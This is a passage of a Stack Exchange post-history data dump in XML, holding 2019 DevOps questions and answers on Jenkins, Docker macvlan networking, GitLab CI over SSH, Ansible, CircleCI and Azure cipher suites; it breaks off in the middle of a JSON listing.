  <row Id="27616" PostHistoryTypeId="2" PostId="9341" RevisionGUID="0dab43e0-c864-452e-b90d-5ac9a0c583a5" CreationDate="2019-10-03T11:52:05.627" UserId="15792" Text="Yes you can create resources (including pods) from a url yaml using [kubectl][1].  However, just because you pointed to a remote url does not mean that the resource will automatically update.  You will need to either re-deploy when the remote yaml is updated, develop/integrate with a service that handles this, or look into using a tool such as [helm][2] to help manage changes.&#xD;&#xA;&#xD;&#xA;It does not need to be avoided, you just need to know that it will not automatically update if the source changes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/reference/kubectl/cheatsheet/#creating-objects&#xD;&#xA;  [2]: https://github.com/helm/helm/blob/master/docs/using_helm.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="27617" PostHistoryTypeId="2" PostId="9342" RevisionGUID="8c637953-17c5-4d2f-a3e6-2c406ac8e87b" CreationDate="2019-10-03T12:16:43.560" UserId="6356" Text="I've been trying to get a simple jenkins master node to start but it keeps getting stuck at the &quot;Please wait while Jenkins is getting ready to work&quot;.&#xD;&#xA;&#xD;&#xA;My setup is nothing exotic:&#xD;&#xA;jenkins is installed inside a LXC hosted by a proxmox 6 instance.&#xD;&#xA;10Go of RAM, 4CPU, 10G of hdd, debian 9&#xD;&#xA;&#xD;&#xA;I increased the lxc specs just in case (I started with 4G of RAM and 2 CPU)&#xD;&#xA;&#xD;&#xA;I tried a lot of different things such as:&#xD;&#xA;&#xD;&#xA; 1. Stop / start the jenkins soft&#xD;&#xA; 2. Stop / start the container&#xD;&#xA; 3. installing using debian package&#xD;&#xA; 4. Install using the war (see my service file below, only used for the war install style)&#xD;&#xA;&#xD;&#xA;Service file:&#xD;&#xA;```&#xD;&#xA;[Unit]&#xD;&#xA;Description=Jenkins Daemon&#xD;&#xA;&#xD;&#xA;[Service]&#xD;&#xA;ExecStart=/usr/bin/java -jar /home/jenkins/jenkins.war --logfile=/home/jenkins/jenkins.log&#xD;&#xA;User=jenkins&#xD;&#xA;&#xD;&#xA;[Install]&#xD;&#xA;WantedBy=multi-user.target&#xD;&#xA;```&#xD;&#xA;The log doesn't contain any error except a WARNING :&#xD;&#xA;&#xD;&#xA;    2019-10-03 12:05:38.516+0000 [id=1] WARNING o.e.j.s.handler.ContextHandler#setContextPath: Empty contextPath&#xD;&#xA;&#xD;&#xA;But it always ends at being stuck at this page.&#xD;&#xA;&#xD;&#xA;I've searched the web but my google fu seems bad today so here I am.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27618" PostHistoryTypeId="1" PostId="9342" RevisionGUID="8c637953-17c5-4d2f-a3e6-2c406ac8e87b" CreationDate="2019-10-03T12:16:43.560" UserId="6356" Text="jenkins stuck &quot;Please wait while Jenkins is getting ready to work&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27619" PostHistoryTypeId="3" PostId="9342" RevisionGUID="8c637953-17c5-4d2f-a3e6-2c406ac8e87b" CreationDate="2019-10-03T12:16:43.560" UserId="6356" Text="&lt;jenkins&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27620" PostHistoryTypeId="2" PostId="9343" RevisionGUID="a3f430a5-552d-487a-ade5-3bc6c0b642b7" CreationDate="2019-10-03T12:33:51.483" UserId="17227" Text="The root cause turned out to be that there were over 100,000 files for the Visual Studio Step to scan for tests, in the `Search folder`.&#xD;&#xA;&#xD;&#xA;To resolve, I pointed the search folder to a more specific bin folder down the folder tree. This reduced the number of files scanned and dramatically shortened the overall run time for the step.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27621" PostHistoryTypeId="2" PostId="9344" RevisionGUID="012763fb-a35c-4e73-9d06-6dcf146e0be7" CreationDate="2019-10-03T12:42:15.687" UserId="17415" Text="**Objective**: Assign fixed IP address to Unifi Controller Docker container.&#xD;&#xA;&#xD;&#xA;**History**: I fetched the [unifi controller][1] image from Docker Hub to my Synology Docker host. The container of the unifi controller runs properly if I attach it to the network of the host (not the default bridge). That blocks though multiple ports I need for other services (in the future). Thus it would be much easier to assign that unifi container with it's own designated IP --&gt; 192.168.2.9 (than changing all the ports).&#xD;&#xA;&#xD;&#xA;I guess that is a cinch to deal with for most in here.&#xD;&#xA;&#xD;&#xA;**Indications of my misconception**:&#xD;&#xA;&#xD;&#xA; - I created my own network in the Synology Docker GUI (with the subnet 192.168.2.0/23 and gateway 192.168.2.1)&#xD;&#xA; - I assigned it to a new unifi-controller container instance. &#xD;&#xA; - The GUI suggests to map the host ports with&quot;auto&quot; to the container ports, **which indicates me that I do NOT understand completly the network concept**. Because if I'm able to set a individual IP, why should it allow to map host ports (to container ports)?&#xD;&#xA;&#xD;&#xA;**Questions**: &#xD;&#xA;&#xD;&#xA; - So, why can I not assign a fixed IP to the container in the GUI? &#xD;&#xA; - What am I conceptually missing?&#xD;&#xA; - If not in the GUI, how can I accomplish it over SSH/Bash?&#xD;&#xA;&#xD;&#xA;Thanks for anyone's support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/jacobalberty/unifi" ContentLicense="CC BY-SA 4.0" />
  <row Id="27622" PostHistoryTypeId="1" PostId="9344" RevisionGUID="012763fb-a35c-4e73-9d06-6dcf146e0be7" CreationDate="2019-10-03T12:42:15.687" UserId="17415" Text="How can I assign a IP address to a docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27623" PostHistoryTypeId="3" PostId="9344" RevisionGUID="012763fb-a35c-4e73-9d06-6dcf146e0be7" CreationDate="2019-10-03T12:42:15.687" UserId="17415" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27627" PostHistoryTypeId="2" PostId="9346" RevisionGUID="fe8fd6fa-cb30-40be-a89e-add429ef9ed2" CreationDate="2019-10-03T13:02:19.680" UserId="17178" Text="chipping in with ansible task to install letsencrypt certbot on debian stretch&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- name: Add &quot;stretch-backports&quot; to APT sources (required for Certbot)&#xD;&#xA;  become: yes&#xD;&#xA;  apt_repository:&#xD;&#xA;    repo: deb http://httpredir.debian.org/debian stretch-backports main&#xD;&#xA;    state: present&#xD;&#xA;    update_cache: yes&#xD;&#xA;&#xD;&#xA;- name: &quot;Check LetsEncrypt/Certbot is installed&quot;&#xD;&#xA;  become: yes&#xD;&#xA;  apt:&#xD;&#xA;    name: &#xD;&#xA;      - certbot&#xD;&#xA;      - python-certbot-apache # https://github.com/certbot/certbot/issues/3854&#xD;&#xA;    state: present&#xD;&#xA;    default_release: stretch-backports&#xD;&#xA;    cache_valid_time: 3600&#xD;&#xA;    update_cache: yes" ContentLicense="CC BY-SA 4.0" />
  <row Id="27628" PostHistoryTypeId="5" PostId="9344" RevisionGUID="70339c9f-37ee-4dbb-b37c-453136baa26b" CreationDate="2019-10-03T13:20:55.170" UserId="17415" Comment="added 11 characters in body" Text="**Objective**: Assign fixed IP address to Docker container (Unifi Controller instance).&#xD;&#xA;&#xD;&#xA;**History**: I fetched the [unifi controller][1] image from Docker Hub to my Synology Docker host. The container of the unifi controller runs properly if I attach it to the network of the host (not the default bridge). That blocks though multiple ports I need for other services (in the future). Thus it would be much easier to assign that unifi container with it's own designated IP --&gt; 192.168.2.9 (than changing all the ports).&#xD;&#xA;&#xD;&#xA;I guess that is a cinch to deal with for most in here.&#xD;&#xA;&#xD;&#xA;**Indications of my misconception**:&#xD;&#xA;&#xD;&#xA; - I created my own network in the Synology Docker GUI (with the subnet 192.168.2.0/23 and gateway 192.168.2.1)&#xD;&#xA; - I assigned it to a new unifi-controller container instance. &#xD;&#xA; - The GUI suggests to map the host ports with &quot;auto&quot; to the container ports, **which indicates me that I do NOT understand completly the network concept** of Docker. Because if I'm able to set an individual IP, why should it allow to map host ports (to container ports)?&#xD;&#xA;&#xD;&#xA;**Questions**: &#xD;&#xA;&#xD;&#xA; - So, why can I not assign a fixed IP to the container in the GUI? &#xD;&#xA; - What am I conceptually missing?&#xD;&#xA; - If not in the GUI, how can I accomplish it over SSH/Bash?&#xD;&#xA;&#xD;&#xA;Thanks for anyone's support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/jacobalberty/unifi" ContentLicense="CC BY-SA 4.0" />
  <row Id="27629" PostHistoryTypeId="2" PostId="9347" RevisionGUID="f9b061f4-c468-4991-bd59-4ec3dee50888" CreationDate="2019-10-03T14:23:18.360" UserId="17413" Text="Since goss can use variables from a yaml or json file, I just modified the `verify.yml` example playbook to export this variable and use it in the goss command.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Verify&#xD;&#xA;  hosts: all&#xD;&#xA;  become: true&#xD;&#xA;  vars:&#xD;&#xA;    [...]&#xD;&#xA;    goss_vars: &quot;{{ goss_test_directory }}/vars&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    [...]&#xD;&#xA;    - name: Register hostvars&#xD;&#xA;      copy:&#xD;&#xA;        content: &quot;{'hostvars': {{ hostvars }}}&quot;&#xD;&#xA;        dest: &quot;{{ goss_vars }}&quot;&#xD;&#xA;&#xD;&#xA;    - name: Execute Goss tests&#xD;&#xA;      command: &quot;{{ goss_bin }} --vars {{ goss_vars }} -g {{ item }} validate --format {{ goss_format }}&quot;&#xD;&#xA;      register: test_results&#xD;&#xA;      with_items: &quot;{{ test_files.stdout_lines }}&quot;&#xD;&#xA;      failed_when: false&#xD;&#xA;&#xD;&#xA;    [...]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then the variable is available in goss test files as `{{ .Vars.hostvars }}`." ContentLicense="CC BY-SA 4.0" />
  <row Id="27630" PostHistoryTypeId="2" PostId="9348" RevisionGUID="86027f59-782e-4981-8c1d-157a58785669" CreationDate="2019-10-03T14:44:09.370" UserId="17414" Text="I need to improve the CI process of my projects, which is basically composed of the following things:&#xD;&#xA;&#xD;&#xA; - a Linux server, that contains a Jenkins master&#xD;&#xA; - a VM with **Windows 10**, with a Jenkins slave, responsible to build one of my projects (that uses .NET core, .NET framework, Node.JS and nmake)&#xD;&#xA; - a Jenkins pipeline job that compiles the project (**assuming the needed tools are already installed**) -&gt; *this is used to generate final released versions to the customer*&#xD;&#xA; - a Gitlab Runner on some Windows machines (configured as 'shell' executors) -&gt; *this is seamlessly used with our gitlab, for continuous integration and pipelines, to be visible on Merge Requests, for instance*&#xD;&#xA;&#xD;&#xA;**Problems:** we manually entered the VM above and installed all the tools needed to build the applications. If the projects require new tools, we need to manually enter the machines and install them prior to running the build jobs.&#xD;&#xA;&#xD;&#xA;**What I want:** I plan to improve this CI environment with Docker (however I'm pretty new to it), to be able to **easily scale** the job runners. I'm thinking about using less Jenkins and more Gitlab Runner instances (configured as 'docker' executor), to be able to **delegate** the CI/CD processes to each '.yml' file versioned on each project.&#xD;&#xA;&#xD;&#xA;To accomplish the above, I thought about some approaches:&#xD;&#xA;&#xD;&#xA;## Put a Gitlab Runner configured as 'docker+machine'&#xD;&#xA;&#xD;&#xA;This spawns as many 'docker' runners as needed --&gt; this is easily scalable&#xD;&#xA;&#xD;&#xA;**Problem:** &quot;Docker Machine&quot; only creates Linux VMs, and I need specifically for this project a Windows environment for the build&#xD;&#xA;&#xD;&#xA;## Use a Gitlab Runner configured as 'docker'&#xD;&#xA;&#xD;&#xA;This should be scalable, if it spawns containers for building on demand. &#xD;&#xA;&#xD;&#xA;Based on this scenario, I have a couple of questions:&#xD;&#xA;&#xD;&#xA; 1. do you have any suggestion about how can I create a docker image that is able to build my project? I need to use Windows OS, .NET core, .NET fw, nmake, Node.Js. Do you have some specific images recommended for this task?&#xD;&#xA; 2. should I create a 'sdk' docker image (an image with all tools needed for building and testing) separate from my project source-code, and publish this image to Docker Hub, and 'consume' it on my gitlab runner? I mean, what's the best practice for this case, supposing my customer does not have a private Docker Registry?  &#xD;&#xA; 3. have anyone tried this scenario (gitlab runner + docker on Windows) before, and have some feedback if it works or not?&#xD;&#xA; 4. Is my plan of decreasing Jenkins usage and using more Gitlab runner (for this project at least) feasible? I thought about this because we currently have to manage a &quot;Jenkins Master&quot; and all &quot;Jenkins Slaves&quot; machines. With this new approach, the 'master' would be actually the entire Gitlab instance, and the 'slaves' would be several GL runners deployed as I need, on which I would delegate the job to each project's &quot;.yml&quot; file;&#xD;&#xA; 4. Do you have a better approach on how can I improve to a scalable Windows project CI/CD process, other than using gitlab runner + docker?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27631" PostHistoryTypeId="1" PostId="9348" RevisionGUID="86027f59-782e-4981-8c1d-157a58785669" CreationDate="2019-10-03T14:44:09.370" UserId="17414" Text="Trying to migrate CI/CD process from Jenkins to Gitlab Runner + Docker on Windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="27632" PostHistoryTypeId="3" PostId="9348" RevisionGUID="86027f59-782e-4981-8c1d-157a58785669" CreationDate="2019-10-03T14:44:09.370" UserId="17414" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;windows&gt;&lt;cicd&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27633" PostHistoryTypeId="4" PostId="9344" RevisionGUID="b0a84867-bd03-4e15-b50e-1209feff48b9" CreationDate="2019-10-03T15:23:06.853" UserId="17415" Comment="edited title" Text="How can I assign an IP address to a docker container different from the host's IP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27634" PostHistoryTypeId="50" PostId="9070" RevisionGUID="d5bc90f5-c425-433c-853a-c96b657a89c9" CreationDate="2019-10-03T17:01:15.163" UserId="-1" />
  <row Id="27635" PostHistoryTypeId="2" PostId="9349" RevisionGUID="7bcca67c-87cc-4169-bdf4-52739973b37a" CreationDate="2019-10-03T18:06:16.047" UserId="17415" Text="**SOLUTION APPROACH**&#xD;&#xA;&#xD;&#xA;The approach is to create a macvlan. This will create a virtual adapter, that is allowed to lease an IP address from the subnet defined.&#xD;&#xA;&#xD;&#xA;    $ docker network create -d macvlan \&#xD;&#xA;      --subnet=192.168.2.0/23 \&#xD;&#xA;      --ip-range=192.168.2.5/25 \&#xD;&#xA;      --gateway=192.168.2.1 \&#xD;&#xA;      --aux-address=&quot;my-router=192.168.2.10&quot; \&#xD;&#xA;      -o parent=eth0 macnet32&#xD;&#xA;&#xD;&#xA; - Limiting the IP range: use --ip-range to scope the possible IPs to lease.&#xD;&#xA;&#xD;&#xA; - The aux-address marks my Synology host, which should never ever battle for that IP address (It's marked in the unifi controller as a fixed IP).&#xD;&#xA;&#xD;&#xA;[I will document later this evening how one can assigne the macvlan to the container.]" ContentLicense="CC BY-SA 4.0" />
  <row Id="27640" PostHistoryTypeId="2" PostId="9351" RevisionGUID="69455760-fa62-447e-b285-a73bde334874" CreationDate="2019-10-03T21:42:56.220" UserId="3599" Text="I've set the environment variable with a &quot;context&quot; (I have no idea if thats the right place - it's really confusing!)&#xD;&#xA;&#xD;&#xA;None the less, it's now doing a build - and I don't see the environment variables set (I'm using the SSH build to inspect the vars with `getenv`).&#xD;&#xA;&#xD;&#xA;Why is it not being picked up? Am I meant to set an environment variable by some other means rather than a &quot;context&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27641" PostHistoryTypeId="1" PostId="9351" RevisionGUID="69455760-fa62-447e-b285-a73bde334874" CreationDate="2019-10-03T21:42:56.220" UserId="3599" Text="Circle CI environment variable not being set" ContentLicense="CC BY-SA 4.0" />
  <row Id="27642" PostHistoryTypeId="3" PostId="9351" RevisionGUID="69455760-fa62-447e-b285-a73bde334874" CreationDate="2019-10-03T21:42:56.220" UserId="3599" Text="&lt;cicd&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27643" PostHistoryTypeId="2" PostId="9352" RevisionGUID="52539aab-9cd7-4bf2-a3a2-4f85b0b18f3b" CreationDate="2019-10-03T21:48:38.417" UserId="3599" Text="Seems &quot;contexts&quot; can be used but must then also be set to &quot;reference&quot; the context in the build yaml config file.&#xD;&#xA;&#xD;&#xA;Instead to set a environment variable for a project:&#xD;&#xA;Jobs &gt; Cog / gear icon of a project &gt; Build settings &gt; Environment variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="27644" PostHistoryTypeId="4" PostId="9351" RevisionGUID="331c0eaa-7fc6-4217-81e0-ea68e40fabfb" CreationDate="2019-10-03T21:48:55.790" UserId="3599" Comment="edited title" Text="How to set a Circle CI environment variable for a project?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27645" PostHistoryTypeId="2" PostId="9353" RevisionGUID="6ae720b8-facc-448c-9378-5cef2b3990a1" CreationDate="2019-10-03T23:29:41.693" UserId="17433" Text="I found out a decent way (after hours and hours of fiddling) - even to execute the script in an SSH session:&#xD;&#xA;&#xD;&#xA;```lang-yaml&#xD;&#xA;.ssh_deploy_template: &amp;ssh_deploy_template&#xD;&#xA;  variables:&#xD;&#xA;    # the variables could come from anywhere (e.g. GitLab Settings - environment variables)&#xD;&#xA;    SSH_DIR: '/srv/app/'&#xD;&#xA;    SCRIPT_CMD: |&#xD;&#xA;      echo &quot;Double quotes are safe&quot;&#xD;&#xA;      echo 'Single quotes are safe'&#xD;&#xA;      echo &quot;Code executions are safe -&quot; $$(whoami)@$$(hostname) $$(date)&#xD;&#xA;      # the '$$' is needed as otherwise GitLab itself tries variable substitution&#xD;&#xA;&#xD;&#xA;  # Here's the magic to get the code from the GitLab variable into a bash variable and then even executed on an SSH session&#xD;&#xA;  script:&#xD;&#xA;    # Put gitlab variable into shell variable to improve quote handling&#xD;&#xA;    - CMD=$SCRIPT_CMD&#xD;&#xA;    # Print for debugging&#xD;&#xA;    - echo -e &quot;Executing:\n$CMD&quot;&#xD;&#xA;    - CMD=&quot;set -e; cd $SSH_DIR; $CMD&quot; # 'set -e' = stop on error&#xD;&#xA;    # redirect variable to stdin of ssh bash (the -x causes bash to print each command)&#xD;&#xA;    - ssh -p $SSH_PORT $USERNAME@$SSH_HOST &quot;bash -x&quot; &lt;&lt;&lt; &quot;$CMD&quot;&#xD;&#xA;    &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;More detailed example [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/TeNNoX/cd8d4b901775f379d74287fa85f924c3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27646" PostHistoryTypeId="5" PostId="9353" RevisionGUID="7ceac6d2-a99a-4ad5-ba43-214eb3de8ffa" CreationDate="2019-10-03T23:44:18.603" UserId="17433" Comment="note how this is related to the question" Text="This is not answering only the question but also a bit more (I put this here for reference):  &#xD;&#xA;I found out a decent way to tackle this and some complications coming afterwards... (after hours and hours of fiddling) - e.g. to execute the script in an SSH session:&#xD;&#xA;&#xD;&#xA;```lang-yaml&#xD;&#xA;deploy job:&#xD;&#xA;  variables:&#xD;&#xA;    # the variables could come from anywhere (e.g. GitLab Settings - environment variables)&#xD;&#xA;    SSH_DIR: '/srv/app/'&#xD;&#xA;    SCRIPT_CMD: |&#xD;&#xA;      echo &quot;Double quotes are safe&quot;&#xD;&#xA;      echo 'Single quotes are safe'&#xD;&#xA;      echo &quot;Code executions are safe -&quot; `whoami`@`hostname` $$(date)&#xD;&#xA;      # the '$$' is needed as otherwise GitLab itself tries variable substitution&#xD;&#xA;&#xD;&#xA;  # Here's the magic to get the code from the GitLab variable into a bash variable and then even executed on an SSH session&#xD;&#xA;  script:&#xD;&#xA;    # Put gitlab variable into shell variable to improve quote handling&#xD;&#xA;    - CMD=$SCRIPT_CMD&#xD;&#xA;    # Print for debugging&#xD;&#xA;    - echo -e &quot;Executing:\n$CMD&quot;&#xD;&#xA;    - CMD=&quot;set -e; cd $SSH_DIR; $CMD&quot; # 'set -e' = stop on error&#xD;&#xA;    # redirect variable to stdin of ssh bash (the -x causes bash to print each command)&#xD;&#xA;    - ssh -p $SSH_PORT $USERNAME@$SSH_HOST &quot;bash -x&quot; &lt;&lt;&lt; &quot;$CMD&quot;&#xD;&#xA;    &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;More detailed example [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/TeNNoX/cd8d4b901775f379d74287fa85f924c3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27647" PostHistoryTypeId="5" PostId="9342" RevisionGUID="dccbc0b7-0ca9-42f8-8cc6-aafc523fdb83" CreationDate="2019-10-04T07:38:00.470" UserId="6356" Comment="added 168 characters in body" Text="I've been trying to get a simple jenkins master node to start but it keeps getting stuck at the &quot;Please wait while Jenkins is getting ready to work&quot;.&#xD;&#xA;&#xD;&#xA;My setup is nothing exotic:&#xD;&#xA;jenkins is installed inside a LXC hosted by a proxmox 6 instance.&#xD;&#xA;10Go of RAM, 4CPU, 10G of hdd, debian 9&#xD;&#xA;&#xD;&#xA;I increased the lxc specs just in case (I started with 4G of RAM and 2 CPU)&#xD;&#xA;&#xD;&#xA;I tried a lot of different things such as:&#xD;&#xA;&#xD;&#xA; 1. Stop / start the jenkins soft&#xD;&#xA; 2. Stop / start the container&#xD;&#xA; 3. installing using debian package&#xD;&#xA; 4. Install using the war (see my service file below, only used for the war install style)&#xD;&#xA; 5. Installing on centos 7&#xD;&#xA; 6. Installing on qemu&#xD;&#xA;&#xD;&#xA;Service file:&#xD;&#xA;```&#xD;&#xA;[Unit]&#xD;&#xA;Description=Jenkins Daemon&#xD;&#xA;&#xD;&#xA;[Service]&#xD;&#xA;ExecStart=/usr/bin/java -jar /home/jenkins/jenkins.war --logfile=/home/jenkins/jenkins.log&#xD;&#xA;User=jenkins&#xD;&#xA;&#xD;&#xA;[Install]&#xD;&#xA;WantedBy=multi-user.target&#xD;&#xA;```&#xD;&#xA;The log doesn't contain any error except a WARNING :&#xD;&#xA;&#xD;&#xA;    2019-10-03 12:05:38.516+0000 [id=1] WARNING o.e.j.s.handler.ContextHandler#setContextPath: Empty contextPath&#xD;&#xA;&#xD;&#xA;But it always ends at being stuck at this page.&#xD;&#xA;&#xD;&#xA;I've searched the web but my google fu seems bad today so here I am.&#xD;&#xA;&#xD;&#xA;This sounds crazy to me, jenkins install is supposed to be easy and quite forward, but I can't make it works ...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27649" PostHistoryTypeId="5" PostId="9349" RevisionGUID="4e84eb5e-5cd3-420d-b36e-91111db838cc" CreationDate="2019-10-04T12:11:52.180" UserId="17415" Comment="added 51 characters in body" Text="**SOLUTION APPROACH**&#xD;&#xA;&#xD;&#xA;The approach is to create a macvlan. This will create a virtual adapter, that is allowed to lease an IP address from the subnet defined.&#xD;&#xA;&#xD;&#xA;    $ docker network create -d macvlan \&#xD;&#xA;      --subnet=192.168.2.0/23 \&#xD;&#xA;      --ip-range=192.168.2.5/25 \&#xD;&#xA;      --gateway=192.168.2.1 \&#xD;&#xA;      --aux-address=&quot;my-router=192.168.2.10&quot; \&#xD;&#xA;      -o parent=eth0 macnet32&#xD;&#xA;&#xD;&#xA; - Limiting the IP range: use `--ip-range` to scope the possible IPs to lease.&#xD;&#xA;&#xD;&#xA; - Avoiding certain IPs: The `--aux-address` marks my Synology host, which should never ever battle for that IP address (It's marked in the unifi controller's DHCP service as a fixed IP anyways).&#xD;&#xA;&#xD;&#xA;[I will document later this evening how one can assigne the macvlan to the container.]" ContentLicense="CC BY-SA 4.0" />
  <row Id="27650" PostHistoryTypeId="5" PostId="9349" RevisionGUID="6016a7d8-09c4-44b9-9294-289ad7dac4c0" CreationDate="2019-10-04T12:56:26.870" UserId="17415" Comment="added 205 characters in body" Text="**SOLUTION APPROACH**&#xD;&#xA;&#xD;&#xA;The approach is to create a macvlan. This will create a virtual adapter, that is allowed to lease an IP address from the subnet defined.&#xD;&#xA;&#xD;&#xA;For the virtual adapter one must enable promiscuous mode in the network. For Unifi controllers, do a SSH to your gateway and set:&#xD;&#xA;&#xD;&#xA;    ifconfig [interface] promisc&#xD;&#xA;&#xD;&#xA;Then one can create the macvlan.&#xD;&#xA;&#xD;&#xA;    $ docker network create -d macvlan \&#xD;&#xA;      --subnet=192.168.2.0/23 \&#xD;&#xA;      --ip-range=192.168.2.5/25 \&#xD;&#xA;      --gateway=192.168.2.1 \&#xD;&#xA;      --aux-address=&quot;my-router=192.168.2.10&quot; \&#xD;&#xA;      -o parent=eth0 macnet32&#xD;&#xA;&#xD;&#xA; - Limiting the IP range: use `--ip-range` to scope the possible IPs to lease.&#xD;&#xA;&#xD;&#xA; - Avoiding certain IPs: The `--aux-address` marks my Synology host, which should never ever battle for that IP address (It's marked in the unifi controller's DHCP service as a fixed IP anyways).&#xD;&#xA;&#xD;&#xA;[I will document later this evening how one can assigne the macvlan to the container.]" ContentLicense="CC BY-SA 4.0" />
  <row Id="27651" PostHistoryTypeId="2" PostId="9355" RevisionGUID="639b46b7-378c-48ca-b83b-4041cfed39d4" CreationDate="2019-10-04T13:00:06.593" UserId="17442" Text="I am looking a way to reliably check accepted cipher suites by an Azure App Service. On standard virtual machine I just remote to it and execute PowerShell command: Get-TlsCipherSuite which provides list of currently accepted keys or check the system's registry. I could pen test app service by ssllabs.com however I crossed checked their results against results from Get-TlsCipherSuite for a certain machine and it's not 100% accurate. To be precise ssllabs didn't detect suites with Pre Shared Keys.&#xD;&#xA;&#xD;&#xA;Thus my question how to query Azure App Service accepted cipher suite?&#xD;&#xA;Additionaly how browser knows which cipher suites are available to it when it tries to go to a given domain?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27652" PostHistoryTypeId="1" PostId="9355" RevisionGUID="639b46b7-378c-48ca-b83b-4041cfed39d4" CreationDate="2019-10-04T13:00:06.593" UserId="17442" Text="How to check accepted cipher suites by an Azure App Service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27653" PostHistoryTypeId="3" PostId="9355" RevisionGUID="639b46b7-378c-48ca-b83b-4041cfed39d4" CreationDate="2019-10-04T13:00:06.593" UserId="17442" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27654" PostHistoryTypeId="5" PostId="9349" RevisionGUID="b1f2d900-e149-4ee9-8e81-04918688a3a5" CreationDate="2019-10-04T14:03:32.790" UserId="17415" Comment="added 2777 characters in body" Text="**SOLUTION APPROACH**&#xD;&#xA;&#xD;&#xA;The approach is to create a macvlan. This will create a virtual adapter, that is allowed to lease an IP address from the subnet defined.&#xD;&#xA;&#xD;&#xA;**1) Activate Promiscous Mode**&#xD;&#xA;&#xD;&#xA;For the virtual adapter one must enable promiscuous mode in the network. For Unifi controllers, do a SSH to your gateway and set:&#xD;&#xA;&#xD;&#xA;    ifconfig [interface] promisc&#xD;&#xA;Some network gateways/controllers have set promiscuous mode by default. Continue with step 2 before you're wasting time to find that out.&#xD;&#xA;&#xD;&#xA;**2) Create macvlan**&#xD;&#xA;&#xD;&#xA;Then one can create the macvlan.&#xD;&#xA;&#xD;&#xA;    $ docker network create -d macvlan \&#xD;&#xA;      --subnet=192.168.2.0/23 \&#xD;&#xA;      --ip-range=192.168.2.5/25 \&#xD;&#xA;      --gateway=192.168.2.1 \&#xD;&#xA;      --aux-address=&quot;my-router=192.168.2.10&quot; \&#xD;&#xA;      -o parent=eth0 unifinet&#xD;&#xA;&#xD;&#xA; - Limiting the IP range: use `--ip-range` to scope the possible IPs to lease.&#xD;&#xA;&#xD;&#xA; - Avoiding certain IPs: The `--aux-address` marks my Synology host, which should never ever battle for that IP address (It's marked in the unifi controller's DHCP service as a fixed IP anyways).&#xD;&#xA; - the `-o parent` is your network interface you want to attach your macvlan. In my case `unifinet`.&#xD;&#xA;&#xD;&#xA;Check with `docker network ls` if the macvlan has been properly created.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    NETWORK ID          NAME                DRIVER              SCOPE&#xD;&#xA;    c49094a4c914        bridge              bridge              local&#xD;&#xA;    b2315de1aa7e        host                host                local&#xD;&#xA;    c124eda0f9d2        none                null                local&#xD;&#xA;    a60da50f0d12        unifinet            macvlan             local&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**3) Start Docker Container**&#xD;&#xA;&#xD;&#xA;While you define the image (--name UnifiController jacobalberty/unifi) assign the freshly created macvlan (--network unifinet) to the container (UnifiController). It will grab the latest image respectively the latest Unifi Controller version available from Docker Hub.&#xD;&#xA;&#xD;&#xA;    docker run -dit --network unifinet --name UnifiController jacobalberty/unifi&#xD;&#xA;&#xD;&#xA;Verify if the container has been assigned to the network in the container section of the JSON config.&#xD;&#xA;&#xD;&#xA;    sudo docker network inspect unifinet.&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Name&quot;: &quot;unifinet&quot;,&#xD;&#xA;            &quot;Id&quot;: &quot;a60da50f0d1229d1a3c76210141e0c81567c17daf6c2b49d4f1c83d5ec9f02b3&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-10-04T14:39:37.377311991+02:00&quot;,&#xD;&#xA;            &quot;Scope&quot;: &quot;local&quot;,&#xD;&#xA;            &quot;Driver&quot;: &quot;macvlan&quot;,&#xD;&#xA;            &quot;EnableIPv6&quot;: false,&#xD;&#xA;            &quot;IPAM&quot;: {&#xD;&#xA;                &quot;Driver&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;Options&quot;: {},&#xD;&#xA;                &quot;Config&quot;: [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;Subnet&quot;: &quot;192.168.2.0/24&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;192.168.2.1&quot;&#xD;&#xA;                    }&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;Internal&quot;: false,&#xD;&#xA;            